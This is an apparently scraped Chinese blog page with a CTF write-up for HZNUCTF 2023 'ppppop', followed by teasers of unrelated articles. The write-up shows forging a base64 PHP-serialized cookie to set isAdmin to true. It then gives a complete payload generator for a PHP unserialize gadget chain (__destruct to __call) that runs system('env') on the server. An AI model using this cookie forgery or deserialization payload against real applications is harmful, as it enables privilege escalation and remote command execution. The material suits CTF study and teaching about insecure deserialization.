news 2026/5/11 16:37:51

[HZNUCTF 2023 preliminary]ppppop

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[HZNUCTF 2023 preliminary]ppppop

打开题目便是空白页面,查看源代码,也是空白的,没有任何内容,进行目录扫描发现

有目录,但是内容都是为0

进行抓包,发现cookie中user的值有点像base64编码

尝试进行解码

解码内容是O:4:"User":1:{s:7:"isAdmin";b:0;},

其中b:0:表示一个布尔类型的值,0代表着false为假,1代表着true

也就是讲User对象的isAdmin属性当前为false,就是表示这个用户不是管理员,那就将0改为1,

和原本的user值换一下发包

就返回反序列化代码

<?php error_reporting(0); include('utils.php'); //包含utils.php文件 class A { //定义一个A类,类中有三个公共属性 public $className; public $funcName; public $args; public function __destruct() { //当对象销毁时触发 $class = new $this->className; //将className进行实例化。让这样就可以将className的值为B,就相当于new B了 $funcName = $this->funcName; //funcName属性的值赋值给funcName,这是方法名 $class->$funcName($this->args); //args属性值是参数 } } class B { public function __call($func, $arg) { //当调用不存在的方法时触发,$func是方法名,$arg是参数 $func($arg[0]); //这就是函数回调(function call)!如果 $func = "system",$arg[0] = "id",那么就会执行 system("id")! } } if(checkUser()) { highlight_file(__FILE__); $payload = strrev(base64_decode($_POST['payload'])); //将post传的参数值进行base64加密然后进行字符串反转 unserialize($payload); //这样我们可以将serialize结果先进行字符串反转,然后进行base64编码 }

这题比较简单,就是将className等于B类,这样就相当于实例了B类并赋值给了class,class调用$funcName($this->args)就是调用funcName()方法,这个方法在B类中是不存在的,所以就触发了__call方法,触发__call方法传入的两个变量$func, $arg它们分别是funcName属性的值和args的值,触发了__call方法,就会调动$func($arg[0]);这是函数回调,如果 $func = "system",$arg[0] = "id",那么就会执行 system("id")!

所以payload:

<?php class A { public $className; public $funcName; public $args; public function __destruct() { $class = new $this->className; $funcName = $this->funcName; $class->$funcName($this->args); } } class B { public function __call($func, $arg) { $func($arg[0]); } } $a=new A(); $a->className="B"; $a->funcName="system"; $a->args="env"; echo base64_encode(strrev(serialize($a)));

ls和ls /都没有发现flag文件,所以看看env中有没有flag

NSSCTF{417cea44-7104-4dee-8235-af0ee3d15ebb}

本题的知识点

其中b:0:表示一个布尔类型的值,0代表着false为假,1代表着true

$func($arg[0]); :这是函数回调!如果 $func = "system",$arg[0] = "id",那么就会执行 system("id")!

strrev函数是将字符串内容反转,就是将字符串中的字符顺序颠倒过来

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/3 17:22:27

22、互联网服务器管理:日志分析与流量洞察

互联网服务器管理:日志分析与流量洞察 在互联网服务器管理中,管理服务器和服务的工作通常与网站内容的设计和管理工作是分开的。下面将详细介绍如何分析Web服务器日志文件,包括Apache访问日志、搜索引擎流量日志以及错误日志。 1. 探索Apache访问日志 如果运行的是Apache…

作者头像 李华
网站建设 2026/5/2 2:26:04

云原生Agent高可用设计实践(99.99%恢复成功率背后的秘密)

第一章&#xff1a;云原生Agent高可用的核心挑战在云原生架构中&#xff0c;Agent作为连接控制平面与数据平面的关键组件&#xff0c;承担着指标采集、配置同步、健康检查等核心职责。其高可用性直接影响系统的稳定性与可观测性。然而&#xff0c;在动态调度、网络分区和资源竞…

作者头像 李华
网站建设 2026/4/25 17:13:25

为什么你的云边 Agent 总是延迟爆表?一文看懂网络调度暗坑

第一章&#xff1a;为什么你的云边 Agent 总是延迟爆表&#xff1f;一文看懂网络调度暗坑在云边协同架构中&#xff0c;Agent 的延迟问题常常成为系统性能的“隐形杀手”。尽管边缘节点距离终端更近&#xff0c;理论上应具备低延迟优势&#xff0c;但实际部署中却频繁出现响应迟…

作者头像 李华
网站建设 2026/5/10 7:31:45

FSearch终极指南:Linux文件搜索效率倍增技巧

还在为Linux系统中繁杂的文件查找而头疼吗&#xff1f;FSearch快速文件搜索工具正是您需要的解决方案。这款基于GTK3的轻量级工具&#xff0c;让您在Linux桌面上享受前所未有的文件搜索效率提升。本文将带您从零开始&#xff0c;全面掌握FSearch的安装配置、使用技巧和进阶优化…

作者头像 李华
网站建设 2026/5/8 2:03:19

X-AnyLabeling零基础入门到精通:全平台高效数据标注实战指南

X-AnyLabeling零基础入门到精通&#xff1a;全平台高效数据标注实战指南 【免费下载链接】X-AnyLabeling Effortless data labeling with AI support from Segment Anything and other awesome models. 项目地址: https://gitcode.com/gh_mirrors/xa/X-AnyLabeling 在计…

作者头像 李华